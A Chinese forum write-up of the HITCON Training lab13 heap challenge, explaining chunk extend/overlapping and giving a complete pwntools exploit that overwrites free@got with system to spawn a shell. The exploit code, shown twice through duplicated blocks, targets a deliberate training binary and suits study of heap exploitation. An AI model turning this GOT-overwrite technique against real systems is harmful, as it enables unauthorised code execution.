首页
社区
课程
招聘
[原创]Pwn堆利用学习——chunk extend and Overlapping —— HITCON Trainging lab13
发表于: 2020-11-20 15:48 8126

[原创]Pwn堆利用学习——chunk extend and Overlapping —— HITCON Trainging lab13

2020-11-20 15:48
8126

创建的时候,输入的长度为5,然后输入的字符串:aaaaa,但是结果是:成功、多显示一次菜单和Invalid Choice,所以猜测这里存在什么漏洞,但是后面并没有用到。

其他就是编辑/展示/删除heap的content,更多信息等反编译查看了。

image-20201119173114291

在bss段有一个heaparray数组,这个数组每个元素heaparray都是一个chunk,userdata大小为0x10,前8Byte存放size,后8Byte存放content指针,content chunk的userdata大小为size。

image-20201119173132340

image-20201119173149479

image-20201119173205069

思路

a. 编写选项函数

b. create四个heaparray,堆结构如下图所示。

image-20201120120119552

c. 修改heaparray0之后edit(0,'a'*0x18+'\x81') ,即通过heaparray0,修改heaparray1的大小,“合并”heaparray2,后面通过先free再重新malloc来overlapping,从而控制heaparray2。

image-20201120134038614

d. 释放heaparray1delete(1);

image-20201120134932205

e. 重新malloc一个“合并”后的chunk(heaparray1和heaparray2及其content合起来共0x80,所以userdata为0x70),且构造content,将free@got给heaparray2结构体的content指针,后面就可以通过edit函数编辑content指针指向的内容,即修改free@got处的free函数的真实地址为system函数真实地址。

image-20201120135928903

f. 最后通过show函数把free@got处的free函数真实地址泄漏出来。这里要注意一点就是脚本里free_addr = uu64(ru('\nDone')),Done前面有个回车符。

image-20201120140249667

g. 通过LibcSearcher计算libc基址,进而计算system函数,然后调用edit函数把free@got处free函数真实地址修改为system函数真实地址。下图中,查看free@got,里面确实变成了system函数地址(如果还想要确认libc基址对不对,可以用vmmap查看)。

image-20201120150044426

h. 现在万事俱备,就差调用了,content为“/bin/sh”的是heaparray3,那么我们free 它!getshell!

image-20201120150621241

 
 
lzx@ubuntu16x64:hitcontraning_lab13$ file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
lzx@ubuntu16x64:hitcontraning_lab13$ checksec --file=heapcreator
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols      No    0        2        heapcreator
lzx@ubuntu16x64:hitcontraning_lab13$ file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
lzx@ubuntu16x64:hitcontraning_lab13$ checksec --file=heapcreator
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable    FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols      No    0        2        heapcreator
 
struct heaparray{
    size_t size;
    char* content;
}
struct heaparray{
    size_t size;
    char* content;
}
 
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
ruf      = lambda delims, drop=False  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './heapcreator'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
#libc = ELF('./libc.so.6',checksec=False)
 
def dbg():
    gdb.attach(p)
#    pause()
 
def create(size, content):
    sla('Your choice :', '1')
    sla('Size of Heap : ', str(size))
    sla('Content of heap:', content)
 
def delete(index):
    sla('Your choice :', '4')
    sla('Index :', str(index))
 
def edit(index,content):
    sla('Your choice :', '2')
    sla('Index :', str(index))
    sla('Content of heap : ', content)
 
def show(index):
    sla('Your choice :','3')
    sla('Index :',str(index))
 
#start
# end
 
p.interactive()
from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv
 
def ret2libc(leak, func, path=''):
    if path == '':
        libc = LibcSearcher(func, leak)
        base = leak - libc.dump(func)
        system = base + libc.dump('system')
        binsh = base + libc.dump('str_bin_sh')
    else:
        libc = ELF(path)
        base = leak - libc.sym[func]
        system = base + libc.sym['system']
        binsh = base + libc.search('/bin/sh').next()
 
    return (system, binsh)
 
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(delim, str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(delim, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
ruf      = lambda delims, drop=False  :p.recvuntil(delims, drop)
uu64    = lambda data               :u64(data.ljust(8,'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
 
context.log_level = 'DEBUG'
binary = './heapcreator'
context.binary = binary
elf = ELF(binary,checksec=False)
p = remote('127.0.0.1',0000) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
#libc = ELF('./libc.so.6',checksec=False)
 
def dbg():
    gdb.attach(p)
#    pause()
 
def create(size, content):
    sla('Your choice :', '1')
    sla('Size of Heap : ', str(size))
    sla('Content of heap:', content)
 
def delete(index):
    sla('Your choice :', '4')
    sla('Index :', str(index))
 
def edit(index,content):
    sla('Your choice :', '2')
    sla('Index :', str(index))
    sla('Content of heap : ', content)
 
def show(index):
    sla('Your choice :','3')
    sla('Index :',str(index))
 
#start
# end
 
p.interactive()
create(0x18, 'aaaa') # 0
create(0x10, 'bbbb') # 1
create(0x10, 'cccc') # 2
create(0x10, '/bin/sh\x00') # 3
dbg()
create(0x18, 'aaaa') # 0
create(0x10, 'bbbb') # 1
create(0x10, 'cccc') # 2
create(0x10, '/bin/sh\x00') # 3
dbg()
 
edit(0,'a'*0x18+'\x81')
dbg()
edit(0,'a'*0x18+'\x81')
dbg()
 
delete(1)
dbg()
delete(1)
dbg()
 
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40 + size + p64(elf.got['free'])
create(0x70,payload) # 1
dbg()
size = '\x08'.ljust(8,'\x00')
payload = 'd'*0x40 + size + p64(elf.got['free'])
create(0x70,payload) # 1
dbg()
 
show(2)
ru('Content : ')
#free_addr = uu64(ru('Done')[:-5])
free_addr = uu64(ru('\nDone'))
leak('free_addr',free_addr)
dbg()
show(2)
ru('Content : ')
#free_addr = uu64(ru('Done')[:-5])
free_addr = uu64(ru('\nDone'))
leak('free_addr',free_addr)
dbg()
 
libc = LibcSearcher('free',free_addr)
libc_base_addr = free_addr - libc.dump('free')
leak('libc_base_addr', libc_base_addr)
 
system_addr = libc_base_addr + libc.dump('system')
leak('system_addr',system_addr)
 
edit(2,p64(system_addr))
dbg()
libc = LibcSearcher('free',free_addr)
libc_base_addr = free_addr - libc.dump('free')
leak('libc_base_addr', libc_base_addr)
 
system_addr = libc_base_addr + libc.dump('system')
leak('system_addr',system_addr)
 
edit(2,p64(system_addr))
dbg()
 
show(2) # 这一行有没有都行,只是打印显示而已。
delete(3)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//